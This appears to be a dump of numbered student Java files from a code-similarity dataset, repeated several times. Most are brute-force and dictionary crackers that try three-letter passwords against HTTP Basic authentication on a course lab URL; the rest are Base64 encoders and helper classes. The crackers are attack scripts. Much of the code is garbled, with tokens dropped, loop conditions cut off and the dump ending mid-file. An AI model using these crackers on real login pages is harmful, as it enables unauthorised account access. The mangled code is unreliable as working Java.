InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, ""\"""", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } " 242.java,"import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""""; c1 = j1+""""; c2 = k1+""""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 242.java,"import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""""; c1 = j1+""""; c2 = k1+""""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 242.java,"import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""""; c1 = j1+""""; c2 = k1+""""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 023.java," public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } } ",015.java," public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } } " 059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ 